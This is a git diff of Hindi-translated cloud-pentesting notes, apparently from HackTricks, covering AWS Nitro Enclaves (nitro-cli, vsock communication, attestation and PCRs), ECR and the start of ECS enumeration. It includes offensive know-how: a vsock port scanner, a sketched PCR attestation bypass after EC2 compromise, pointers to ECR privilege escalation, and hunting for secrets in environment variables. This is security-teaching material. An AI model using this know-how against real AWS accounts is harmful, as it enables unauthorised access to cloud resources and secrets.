Amazon द्वारा **सुरक्षा, प्रदर्शन, और विश्वसनीयता** को **बढ़ाने** के लिए पेश किया गया था, Nitro कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का उपयोग करता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्सट्रैक्ट करता है, **हमले की सतह को कम करता है** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफलोड करके, Nitro EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, जो संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से लाभकारी है। इसके अतिरिक्त, Nitro सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है। ### Nitro Enclaves -**AWS Nitro Enclaves** एक सुरक्षित, **अलग कंप्यूट वातावरण प्रदान करता है जो Amazon EC2 इंस्टेंस के भीतर** है, जिसे अत्यधिक संवेदनशील डेटा को संसाधित करने के लिए विशेष रूप से डिज़ाइन किया गया है। AWS Nitro सिस्टम का लाभ उठाते हुए, ये एनक्लेव मजबूत **अलगाव और सुरक्षा** सुनिश्चित करते हैं, जो **गोपनीय जानकारी** जैसे PII या वित्तीय रिकॉर्ड को **संभालने** के लिए आदर्श हैं। इनमें एक न्यूनतम वातावरण होता है, जो डेटा के उजागर होने के जोखिम को काफी कम करता है। इसके अतिरिक्त, Nitro Enclaves क्रिप्टोग्राफिक अटेस्टेशन का समर्थन करते हैं, जिससे उपयोगकर्ता यह सत्यापित कर सकते हैं कि केवल अधिकृत कोड चल रहा है, जो सख्त अनुपालन और डेटा सुरक्षा मानकों को बनाए रखने के लिए महत्वपूर्ण है। +**AWS Nitro Enclaves** एक सुरक्षित, **अलग कंप्यूट वातावरण प्रदान करता है जो Amazon EC2 इंस्टेंस के भीतर** है, जिसे अत्यधिक संवेदनशील डेटा को संसाधित करने के लिए विशेष रूप से डिज़ाइन किया गया है। AWS Nitro सिस्टम का लाभ उठाते हुए, ये एनक्लेव मजबूत **अलगाव और सुरक्षा** सुनिश्चित करते हैं, जो **गोपनीय जानकारी** जैसे PII या वित्तीय रिकॉर्ड को संभालने के लिए आदर्श हैं। इनमें एक न्यूनतम वातावरण होता है, जो डेटा के उजागर होने के जोखिम को काफी कम करता है। इसके अतिरिक्त, Nitro Enclaves क्रिप्टोग्राफिक अटेस्टेशन का समर्थन करते हैं, जिससे उपयोगकर्ता यह सत्यापित कर सकते हैं कि केवल अधिकृत कोड चल रहा है, जो सख्त अनुपालन और डेटा सुरक्षा मानकों को बनाए रखने के लिए महत्वपूर्ण है। > [!CAUTION] -> Nitro Enclave छवियाँ **EC2 इंस्टेंस के अंदर से चलती हैं** और आप AWS वेब कंसोल से नहीं देख सकते कि क्या कोई EC2 इंस्टेंस Nitro Enclave में छवियाँ चला रहा है या नहीं। +> Nitro Enclave छवियाँ **EC2 इंस्टेंस के अंदर से चलती हैं** और आप AWS वेब कंसोल से नहीं देख सकते कि क्या एक EC2 इंस्टेंस Nitro Enclave में छवियाँ चला रहा है या नहीं। ## Nitro Enclave CLI installation @@ -33,7 +33,7 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n ``` ## Nitro Enclave Images -जो इमेजेज़ आप Nitro Enclave में चला सकते हैं, वे डॉकर इमेजेज़ पर आधारित हैं, इसलिए आप अपने Nitro Enclave इमेजेज़ को डॉकर इमेजेज़ से बना सकते हैं जैसे: +जो इमेजेज आप Nitro Enclave में चला सकते हैं, वे docker इमेजेज पर आधारित हैं, इसलिए आप docker इमेजेज से अपनी Nitro Enclave इमेजेज बना सकते हैं जैसे: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image @@ -56,14 +56,14 @@ Enclave Image successfully created. ``` ### Run an Image -जैसा कि [**दस्तावेज़**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) में बताया गया है, एक एन्क्लेव इमेज चलाने के लिए आपको इसे **`eif` फ़ाइल के आकार का कम से कम 4 गुना मेमोरी** आवंटित करनी होगी। इसे फ़ाइल में डिफ़ॉल्ट संसाधनों को कॉन्फ़िगर करना संभव है। +जैसा कि [**दस्तावेज़**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) में बताया गया है, एक एन्क्लेव इमेज चलाने के लिए आपको इसे **`eif` फ़ाइल के आकार का कम से कम 4 गुना मेमोरी** असाइन करनी होगी। इसे फ़ाइल में डिफ़ॉल्ट संसाधनों को कॉन्फ़िगर करना संभव है। ```shell /etc/nitro_enclaves/allocator.yaml ``` > [!CAUTION] > हमेशा याद रखें कि आपको **माता EC2** इंस्टेंस के लिए भी कुछ संसाधनों को **आरक्षित** करना होगा! -छवि को देने के लिए संसाधनों को जानने के बाद और यहां तक कि कॉन्फ़िगरेशन फ़ाइल को संशोधित करने के बाद, एक एन्क्लेव छवि को चलाना संभव है: +एक इमेज को देने के लिए संसाधनों को जानने के बाद और यहां तक कि कॉन्फ़िगरेशन फ़ाइल को संशोधित करने के बाद, एक एन्क्लेव इमेज को चलाना संभव है: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -77,7 +77,7 @@ nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-m ```bash nitro-cli describe-enclaves ``` -यह **चल रहे एन्क्लेव इमेज** के अंदर एक शेल प्राप्त करना **संभव नहीं है** क्योंकि यही एन्क्लेव का मुख्य उद्देश्य है, हालाँकि, यदि आपने पैरामीटर **`--debug-mode`** का उपयोग किया, तो आप इसे **stdout** प्राप्त कर सकते हैं: +यह **चल रहे एन्क्लेव इमेज** के अंदर एक शेल प्राप्त करना संभव नहीं है क्योंकि यही एन्क्लेव का मुख्य उद्देश्य है, हालाँकि, यदि आपने पैरामीटर **`--debug-mode`** का उपयोग किया, तो आप इसे **stdout** प्राप्त कर सकते हैं: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} @@ -90,14 +90,14 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` ## Vsocks -**enclave** चलाने वाली छवि के साथ संवाद करने का एकमात्र तरीका **vsocks** का उपयोग करना है। +एक **enclave** चलाने वाली इमेज के साथ संवाद करने का एकमात्र तरीका **vsocks** का उपयोग करना है। -**Virtual Socket (vsock)** लिनक्स में एक सॉकेट परिवार है जिसे विशेष रूप से वर्चुअल मशीनों (**VMs**) और उनके **hypervisors** के बीच या VMs **के बीच** संवाद को सुविधाजनक बनाने के लिए डिज़ाइन किया गया है। Vsock कुशल, **द्वि-दिशात्मक संचार** को सक्षम बनाता है बिना मेज़बान के नेटवर्किंग स्टैक पर निर्भर किए। यह VMs को नेटवर्क कॉन्फ़िगरेशन के बिना संवाद करने की अनुमति देता है, **32-बिट Context ID (CID) और पोर्ट नंबरों** का उपयोग करके कनेक्शनों की पहचान और प्रबंधन करने के लिए। vsock API स्ट्रीम और डेटाग्राम सॉकेट प्रकारों का समर्थन करता है, TCP और UDP के समान, वर्चुअल वातावरण में उपयोगकर्ता-स्तरीय अनुप्रयोगों के लिए एक बहुपरकारी उपकरण प्रदान करता है। +**Virtual Socket (vsock)** लिनक्स में एक सॉकेट परिवार है जिसे विशेष रूप से वर्चुअल मशीनों (**VMs**) और उनके **hypervisors** के बीच या VMs **के बीच** संवाद को सुविधाजनक बनाने के लिए डिज़ाइन किया गया है। Vsock कुशल, **द्वि-निर्देशात्मक संचार** को सक्षम बनाता है बिना होस्ट के नेटवर्किंग स्टैक पर निर्भर किए। यह VMs को नेटवर्क कॉन्फ़िगरेशन के बिना संवाद करने की अनुमति देता है, **32-बिट Context ID (CID) और पोर्ट नंबरों** का उपयोग करके कनेक्शनों की पहचान और प्रबंधन करने के लिए। vsock API स्ट्रीम और डेटाग्राम सॉकेट प्रकारों का समर्थन करता है, जो TCP और UDP के समान है, वर्चुअल वातावरण में उपयोगकर्ता-स्तरीय अनुप्रयोगों के लिए एक बहुपरकारी उपकरण प्रदान करता है। > [!TIP] > इसलिए, एक vsock पता इस तरह दिखता है: `:` -**CIDs** खोजने के लिए जो enclave चलाने वाली छवियों के लिए हैं, आप बस निम्नलिखित cmd निष्पादित कर सकते हैं और **`EnclaveCID`** प्राप्त कर सकते हैं: +enclave चलाने वाली इमेज के **CIDs** खोजने के लिए आप बस निम्नलिखित cmd निष्पादित कर सकते हैं और **`EnclaveCID`** प्राप्त कर सकते हैं:
nitro-cli describe-enclaves
 
@@ -126,11 +126,11 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
 
> [!WARNING] -> ध्यान दें कि मेज़बान से यह जानने का कोई तरीका नहीं है कि कोई CID किसी पोर्ट को उजागर कर रहा है! जब तक कि कुछ **vsock पोर्ट स्कैनर जैसे** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner) का उपयोग न किया जाए। +> ध्यान दें कि होस्ट से यह जानने का कोई तरीका नहीं है कि कोई CID कोई पोर्ट एक्सपोज़ कर रहा है! जब तक कि कुछ **vsock पोर्ट स्कैनर जैसे** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner) का उपयोग न किया जाए। ### Vsock Server/Listener -यहाँ कुछ उदाहरण दिए गए हैं: +यहां कुछ उदाहरण दिए गए हैं: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py) @@ -169,13 +169,13 @@ socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` ### Vsock Client -Examples: +उदाहरण: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-सरल पायथन क्लाइंट +सरल Python क्लाइंट ```python #!/usr/bin/env python3 @@ -207,23 +207,23 @@ vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml allowlist: - { address: ip-ranges.amazonaws.com, port: 443 } ``` -यह संभव है कि EC2 होस्ट द्वारा उपयोग किए जाने वाले vsock पते (**`:`**) को देखा जा सके (ध्यान दें `3:8001`, 3 CID है और 8001 पोर्ट है): +EC2 होस्ट द्वारा उपयोग किए जाने वाले vsock पते (**`:`**) को देखना संभव है (ध्यान दें `3:8001`, 3 CID है और 8001 पोर्ट है): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` ## Nitro Enclave Atestation & KMS -Nitro Enclaves SDK एक enclave को Nitro **Hypervisor** से एक **क्रिप्टोग्राफिक रूप से हस्ताक्षरित अटेस्टेशन दस्तावेज** मांगने की अनुमति देता है, जिसमें उस enclave के लिए **विशिष्ट अद्वितीय माप** शामिल होते हैं। ये माप, जिसमें **हैश और प्लेटफ़ॉर्म कॉन्फ़िगरेशन रजिस्टर (PCRs)** शामिल हैं, अटेस्टेशन प्रक्रिया के दौरान **enclave की पहचान साबित करने** और **बाहरी सेवाओं के साथ विश्वास बनाने** के लिए उपयोग किए जाते हैं। अटेस्टेशन दस्तावेज़ में आमतौर पर ऐसे मान होते हैं जैसे PCR0, PCR1, और PCR2, जिनका आपने पहले एक enclave EIF बनाने और सहेजने के दौरान सामना किया है। +Nitro Enclaves SDK एक enclave को **cryptographically signed attestation document** के लिए Nitro **Hypervisor** से अनुरोध करने की अनुमति देता है, जिसमें उस enclave के लिए **विशिष्ट अद्वितीय माप** शामिल होते हैं। ये माप, जिसमें **hashes और platform configuration registers (PCRs)** शामिल हैं, attestation प्रक्रिया के दौरान **enclave की पहचान साबित करने** और **बाहरी सेवाओं के साथ विश्वास बनाने** के लिए उपयोग किए जाते हैं। attestation document में आमतौर पर ऐसे मान होते हैं जैसे PCR0, PCR1, और PCR2, जिन्हें आपने पहले एक enclave EIF बनाने और सहेजने के दौरान देखा होगा। [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves) से, ये PCR मान हैं: -
PCRHash of ...Description
PCR0Enclave image fileइमेज फ़ाइल की सामग्री का एक निरंतर माप, बिना अनुभाग डेटा के।
PCR1Linux kernel and bootstrapकर्नेल और बूट ramfs डेटा का एक निरंतर माप।
PCR2Applicationउपयोगकर्ता अनुप्रयोगों का एक निरंतर, क्रमबद्ध माप, बिना बूट ramfs के।
PCR3IAM role assigned to the parent instanceमाता-पिता उदाहरण को सौंपा गया IAM भूमिका का एक निरंतर माप। सुनिश्चित करता है कि अटेस्टेशन प्रक्रिया केवल तभी सफल होती है जब माता-पिता उदाहरण के पास सही IAM भूमिका हो।
PCR4Instance ID of the parent instanceमाता-पिता उदाहरण के ID का एक निरंतर माप। सुनिश्चित करता है कि अटेस्टेशन प्रक्रिया केवल तभी सफल होती है जब माता-पिता उदाहरण के पास एक विशिष्ट उदाहरण ID हो।
PCR8Enclave image file signing certificateenclave image file के लिए निर्दिष्ट हस्ताक्षर प्रमाणपत्र का एक माप। सुनिश्चित करता है कि अटेस्टेशन प्रक्रिया केवल तभी सफल होती है जब enclave को एक विशिष्ट प्रमाणपत्र द्वारा हस्ताक्षरित enclave image file से बूट किया गया हो।
+
PCRHash of ...Description
PCR0Enclave image fileछवि फ़ाइल की सामग्री का एक निरंतर माप, बिना अनुभाग डेटा के।
PCR1Linux kernel और bootstrapkernel और boot ramfs डेटा का एक निरंतर माप।
PCR2Applicationउपयोगकर्ता अनुप्रयोगों का एक निरंतर, क्रमबद्ध माप, बिना boot ramfs के।
PCR3माता-पिता उदाहरण को सौंपा गया IAM भूमिकामाता-पिता उदाहरण को सौंपा गया IAM भूमिका का एक निरंतर माप। सुनिश्चित करता है कि attestation प्रक्रिया केवल तभी सफल होती है जब माता-पिता उदाहरण के पास सही IAM भूमिका हो।
PCR4माता-पिता उदाहरण का Instance IDमाता-पिता उदाहरण के ID का एक निरंतर माप। सुनिश्चित करता है कि attestation प्रक्रिया केवल तभी सफल होती है जब माता-पिता उदाहरण के पास एक विशिष्ट instance ID हो।
PCR8Enclave image file signing certificateenclave image file के लिए निर्दिष्ट signing certificate का एक माप। सुनिश्चित करता है कि attestation प्रक्रिया केवल तभी सफल होती है जब enclave को एक विशिष्ट प्रमाणपत्र द्वारा हस्ताक्षरित enclave image file से बूट किया गया हो।
-आप अपने अनुप्रयोगों में **क्रिप्टोग्राफिक अटेस्टेशन** को एकीकृत कर सकते हैं और **AWS KMS** जैसी सेवाओं के साथ पूर्व-निर्मित एकीकरण का लाभ उठा सकते हैं। AWS KMS **enclave attestations** को **मान्य** कर सकता है और इसके कुंजी नीतियों में अटेस्टेशन-आधारित स्थिति कुंजी (`kms:RecipientAttestation:ImageSha384` और `kms:RecipientAttestation:PCR`) प्रदान करता है। ये नीतियाँ सुनिश्चित करती हैं कि AWS KMS केवल तभी KMS कुंजी का उपयोग करने की अनुमति देता है **जब enclave का अटेस्टेशन दस्तावेज़ मान्य हो** और **निर्धारित शर्तों** को पूरा करता हो। +आप अपने अनुप्रयोगों में **cryptographic attestation** को एकीकृत कर सकते हैं और **AWS KMS** जैसी सेवाओं के साथ पूर्व-निर्मित एकीकरण का लाभ उठा सकते हैं। AWS KMS **enclave attestations** को **मान्य** कर सकता है और इसके कुंजी नीतियों में attestation-आधारित स्थिति कुंजी (`kms:RecipientAttestation:ImageSha384` और `kms:RecipientAttestation:PCR`) प्रदान करता है। ये नीतियाँ सुनिश्चित करती हैं कि AWS KMS केवल तभी KMS कुंजी का उपयोग करने की अनुमति देता है **जब enclave का attestation document मान्य हो** और **निर्धारित शर्तों** को पूरा करता हो। > [!TIP] -> ध्यान दें कि डिबग (--debug) मोड में Enclaves अटेस्टेशन दस्तावेज़ उत्पन्न करते हैं जिनमें PCRs शून्य (`000000000000000000000000000000000000000000000000`) होते हैं। इसलिए, इन मानों की जांच करने वाली KMS नीतियाँ विफल होंगी। +> ध्यान दें कि debug (--debug) मोड में Enclaves ऐसे attestation documents उत्पन्न करते हैं जिनमें PCRs शून्य (`000000000000000000000000000000000000000000000000`) होते हैं। इसलिए, इन मानों की जांच करने वाली KMS नीतियाँ विफल होंगी। ### PCR Bypass @@ -231,7 +231,7 @@ Nitro Enclaves SDK एक enclave को Nitro **Hypervisor** से एक ** इसलिए, एक हमलावर जो EC2 उदाहरण को समझौता करता है, इन सुरक्षा उपायों को बायपास करने के लिए अन्य enclave images को चलाने में सक्षम हो सकता है। -प्रत्येक सुरक्षा को बायपास करने के लिए नए इमेज को संशोधित/बनाने पर शोध (विशेष रूप से जो स्पष्ट नहीं हैं) अभी भी TODO है। +प्रत्येक सुरक्षा को बायपास करने के लिए नए चित्रों को संशोधित/बनाने पर शोध (विशेष रूप से जो स्पष्ट नहीं हैं) अभी भी TODO है। ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index b162492ac..78b015a9f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -8,9 +8,9 @@ #### Basic Information -Amazon **Elastic Container Registry** (Amazon ECR) एक **managed container image registry service** है। यह एक ऐसा वातावरण प्रदान करने के लिए डिज़ाइन किया गया है जहाँ ग्राहक अपने कंटेनर छवियों के साथ अच्छी तरह से ज्ञात इंटरफेस का उपयोग करके बातचीत कर सकते हैं। विशेष रूप से, Docker CLI या किसी भी पसंदीदा क्लाइंट का उपयोग समर्थित है, जो कंटेनर छवियों को पुश, पुल और प्रबंधित करने जैसी गतिविधियों को सक्षम बनाता है। +Amazon **Elastic Container Registry** (Amazon ECR) एक **managed container image registry service** है। यह एक ऐसा वातावरण प्रदान करने के लिए डिज़ाइन किया गया है जहाँ ग्राहक अपने कंटेनर इमेज के साथ अच्छी तरह से ज्ञात इंटरफेस का उपयोग करके बातचीत कर सकते हैं। विशेष रूप से, Docker CLI या किसी भी पसंदीदा क्लाइंट का उपयोग समर्थित है, जो कंटेनर इमेज को पुश, पुल और प्रबंधित करने जैसी गतिविधियों को सक्षम बनाता है। -ECR 2 प्रकार की वस्तुओं से बना है: **Registries** और **Repositories**। +ECR 2 प्रकार की वस्तुओं से मिलकर बना है: **Registries** और **Repositories**। **Registries** @@ -18,32 +18,32 @@ ECR 2 प्रकार की वस्तुओं से बना है: * 1. **Private Registries**: -- **डिफ़ॉल्ट रूप से निजी**: Amazon ECR निजी रजिस्ट्रियों में संग्रहीत कंटेनर छवियाँ **केवल अधिकृत उपयोगकर्ताओं** के लिए उपलब्ध हैं जो आपके AWS खाते के भीतर हैं या जिन्हें अनुमति दी गई है। -- एक **निजी रिपॉजिटरी** का URI इस प्रारूप का अनुसरण करता है `.dkr.ecr..amazonaws.com/` -- **एक्सेस नियंत्रण**: आप **IAM नीतियों** का उपयोग करके अपनी निजी कंटेनर छवियों तक **एक्सेस नियंत्रित** कर सकते हैं, और आप उपयोगकर्ताओं या भूमिकाओं के आधार पर बारीक अनुमति कॉन्फ़िगर कर सकते हैं। -- **AWS सेवाओं के साथ एकीकरण**: Amazon ECR निजी रजिस्ट्रियाँ अन्य AWS सेवाओं के साथ आसानी से **एकीकृत** की जा सकती हैं, जैसे EKS, ECS... -- **अन्य निजी रजिस्ट्रियों के विकल्प**: -- टैग अपरिवर्तनीयता कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि टैग अपरिवर्तनीयता सक्षम है तो यह **पूर्व-निर्धारित टैग** के साथ छवि **पुश** को ओवरराइट करने से **रोक देगा**। -- **एन्क्रिप्शन प्रकार** कॉलम रिपॉजिटरी की एन्क्रिप्शन विशेषताओं को सूचीबद्ध करता है, यह डिफ़ॉल्ट एन्क्रिप्शन प्रकार जैसे AES-256 दिखाता है, या **KMS** सक्षम एन्क्रिप्शन है। -- **पुल थ्रू कैश** कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि पुल थ्रू कैश स्थिति सक्रिय है तो यह **एक बाहरी सार्वजनिक रिपॉजिटरी में रिपॉजिटरी को आपके निजी रिपॉजिटरी में कैश करेगा**। -- विशिष्ट **IAM नीतियों** को विभिन्न **अनुमतियों** को देने के लिए कॉन्फ़िगर किया जा सकता है। -- **स्कैनिंग कॉन्फ़िगरेशन** छवियों में कमजोरियों के लिए स्कैन करने की अनुमति देता है जो रिपॉजिटरी के अंदर संग्रहीत हैं। +- **Private by default**: Amazon ECR प्राइवेट रजिस्ट्रियों में संग्रहीत कंटेनर इमेज **केवल अधिकृत उपयोगकर्ताओं** के लिए उपलब्ध हैं जो आपके AWS खाते के भीतर हैं या जिन्हें अनुमति दी गई है। +- एक **private repository** का URI इस प्रारूप का अनुसरण करता है `.dkr.ecr..amazonaws.com/` +- **Access control**: आप **IAM नीतियों** का उपयोग करके अपनी निजी कंटेनर इमेज तक पहुँच को **नियंत्रित** कर सकते हैं, और आप उपयोगकर्ताओं या भूमिकाओं के आधार पर बारीक अनुमति कॉन्फ़िगर कर सकते हैं। +- **Integration with AWS services**: Amazon ECR प्राइवेट रजिस्ट्रियाँ अन्य AWS सेवाओं के साथ आसानी से **एकीकृत** की जा सकती हैं, जैसे EKS, ECS... +- **Other private registry options**: +- Tag immutability कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि टैग इम्यूटेबिलिटी सक्षम है तो यह **पूर्व-निर्धारित टैग** के साथ इमेज **पुश** को ओवरराइट करने से **रोक देगा**। +- **Encryption type** कॉलम रिपॉजिटरी की एन्क्रिप्शन विशेषताओं को सूचीबद्ध करता है, यह डिफ़ॉल्ट एन्क्रिप्शन प्रकार जैसे AES-256 दिखाता है, या **KMS** सक्षम एन्क्रिप्शन है। +- **Pull through cache** कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि Pull through cache स्थिति सक्रिय है तो यह **आपकी निजी रिपॉजिटरी में एक बाहरी सार्वजनिक रिपॉजिटरी में रिपॉजिटरी को कैश करेगा**। +- विशिष्ट **IAM नीतियाँ** विभिन्न **अनुमतियों** को देने के लिए कॉन्फ़िगर की जा सकती हैं। +- **Scanning configuration** इमेज में भेद्यता के लिए स्कैन करने की अनुमति देता है जो रिपॉजिटरी के अंदर संग्रहीत हैं। 2. **Public Registries**: -- **सार्वजनिक पहुंच**: ECR सार्वजनिक रजिस्ट्रियों में संग्रहीत कंटेनर छवियाँ **बिना प्रमाणीकरण के इंटरनेट पर किसी के लिए भी उपलब्ध हैं।** -- एक **सार्वजनिक रिपॉजिटरी** का URI इस तरह है `public.ecr.aws//`। हालांकि `` भाग को व्यवस्थापक द्वारा याद रखने में आसान किसी अन्य स्ट्रिंग में बदला जा सकता है। +- **Public accessibility**: ECR Public रजिस्ट्रियों में संग्रहीत कंटेनर इमेज **बिना प्रमाणीकरण के इंटरनेट पर किसी के लिए भी उपलब्ध हैं।** +- एक **public repository** का URI इस तरह है `public.ecr.aws//`। हालांकि `` भाग को व्यवस्थापक द्वारा याद रखने में आसान किसी अन्य स्ट्रिंग में बदला जा सकता है। **Repositories** -ये **छवियाँ** हैं जो **निजी रजिस्ट्रियों** या **सार्वजनिक** में हैं। +ये **इमेज** हैं जो **private registry** में या **public** में हैं। > [!NOTE] -> ध्यान दें कि एक छवि को रिपॉजिटरी में अपलोड करने के लिए, **ECR रिपॉजिटरी का नाम छवि के समान होना चाहिए**। +> ध्यान दें कि एक इमेज को रिपॉजिटरी में अपलोड करने के लिए, **ECR रिपॉजिटरी का नाम इमेज के समान होना चाहिए**। #### Registry & Repository Policies -**Registries & repositories** के पास **अन्य प्रिंसिपल/खातों को अनुमतियाँ देने के लिए उपयोग की जाने वाली नीतियाँ भी होती हैं**। उदाहरण के लिए, निम्नलिखित रिपॉजिटरी नीति छवि में आप देख सकते हैं कि कैसे संगठन के पूरे उपयोगकर्ता छवि तक पहुँच प्राप्त कर सकेंगे: +**Registries & repositories** के पास **नीतियाँ भी होती हैं जो अन्य प्रिंसिपल/खातों को अनुमतियाँ देने के लिए उपयोग की जा सकती हैं**। उदाहरण के लिए, निम्नलिखित रिपॉजिटरी नीति छवि में आप देख सकते हैं कि कैसे संगठन के पूरे उपयोगकर्ता इमेज तक पहुँच प्राप्त कर सकेंगे:
@@ -75,7 +75,7 @@ aws ecr get-repository-policy --repository-name #### प्रिवेस्क -निम्नलिखित पृष्ठ पर आप **ECR अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: +अगली पृष्ठ पर आप **ECR अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 6812cf4e1..a627ca4b0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -10,20 +10,20 @@ Amazon **Elastic Container Services** या ECS एक प्लेटफ़ॉ ECS निम्नलिखित तीन निर्माण ब्लॉकों का उपयोग करता है: **Clusters**, **Services**, और **Task Definitions**। -- **Clusters** **कंटेनरों के समूह** हैं जो क्लाउड में चल रहे हैं। जैसा कि पहले उल्लेख किया गया है, कंटेनरों के लिए दो लॉन्च प्रकार हैं, EC2 और Fargate। AWS **EC2** लॉन्च प्रकार को इस प्रकार परिभाषित करता है कि यह ग्राहकों को “\[उनके] कंटेनराइज्ड एप्लिकेशन को Amazon EC2 इंस्टेंस के एक क्लस्टर पर चलाने की अनुमति देता है जो \[वे] **प्रबंधित** करते हैं”। **Fargate** समान है और इसे इस प्रकार परिभाषित किया गया है “\[आपको] अपने कंटेनराइज्ड एप्लिकेशन को **बैकेंड इन्फ्रास्ट्रक्चर को प्रावधान और प्रबंधित करने की आवश्यकता के बिना** चलाने की अनुमति देता है”। -- **Services** एक क्लस्टर के अंदर बनाई जाती हैं और **कार्य चलाने** के लिए जिम्मेदार होती हैं। एक सेवा परिभाषा के अंदर **आप कार्यों की संख्या, ऑटो स्केलिंग, क्षमता प्रदाता (Fargate/EC2/External),** **नेटवर्किंग** जानकारी जैसे VPC’s, सबनेट, और सुरक्षा समूहों को परिभाषित करते हैं। +- **Clusters** वे **कंटेनरों के समूह** हैं जो क्लाउड में चल रहे हैं। जैसा कि पहले उल्लेख किया गया है, कंटेनरों के लिए दो लॉन्च प्रकार हैं, EC2 और Fargate। AWS **EC2** लॉन्च प्रकार को इस प्रकार परिभाषित करता है कि यह ग्राहकों को “\[उनके] कंटेनराइज्ड एप्लिकेशन को Amazon EC2 इंस्टेंस के एक क्लस्टर पर चलाने की अनुमति देता है जो \[वे] **प्रबंधित** करते हैं”। **Fargate** समान है और इसे इस प्रकार परिभाषित किया गया है “\[आपको] अपने कंटेनराइज्ड एप्लिकेशन को **बैकेंड इन्फ्रास्ट्रक्चर को प्रावधान और प्रबंधित करने की आवश्यकता के बिना** चलाने की अनुमति देता है”। +- **Services** एक क्लस्टर के अंदर बनाई जाती हैं और **कार्य चलाने** के लिए जिम्मेदार होती हैं। एक सेवा परिभाषा के अंदर **आप कार्यों की संख्या, ऑटो स्केलिंग, क्षमता प्रदाता (Fargate/EC2/External),** **नेटवर्किंग** जानकारी जैसे VPC, सबनेट, और सुरक्षा समूहों को परिभाषित करते हैं। - वहाँ **2 प्रकार के एप्लिकेशन** हैं: - **Service**: कार्यों का एक समूह जो लंबे समय तक चलने वाले कंप्यूटिंग कार्य को संभालता है जिसे रोका और पुनः प्रारंभ किया जा सकता है। उदाहरण के लिए, एक वेब एप्लिकेशन। - **Task**: एक स्वतंत्र कार्य जो चलता है और समाप्त होता है। उदाहरण के लिए, एक बैच कार्य। -- सेवा एप्लिकेशनों के बीच, **2 प्रकार के सेवा शेड्यूलर** हैं: -- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): प्रतिकृति शेड्यूलिंग रणनीति आपके क्लस्टर में **चाहिए संख्या** के कार्यों को रखती और **बनाए रखती है**। यदि किसी कारणवश एक कार्य बंद हो जाता है, तो एक नया उसी या अलग नोड में लॉन्च किया जाता है। -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): आवश्यक आवश्यकताओं वाले प्रत्येक सक्रिय कंटेनर इंस्टेंस पर ठीक एक कार्य तैनात करता है। कार्यों की आवश्यक संख्या, कार्य स्थान रणनीति, या सेवा ऑटो स्केलिंग नीतियों का उपयोग करने की आवश्यकता नहीं है। -- **Task Definitions** **यह परिभाषित करने के लिए जिम्मेदार हैं कि कौन से कंटेनर चलेंगे** और विभिन्न पैरामीटर जो कंटेनरों के साथ कॉन्फ़िगर किए जाएंगे जैसे **पोर्ट मैपिंग** होस्ट के साथ, **env वेरिएबल**, Docker **एंट्रीपॉइंट**... -- संवेदनशील जानकारी के लिए **env वेरिएबल्स की जांच करें**! +- सेवा एप्लिकेशनों के बीच, 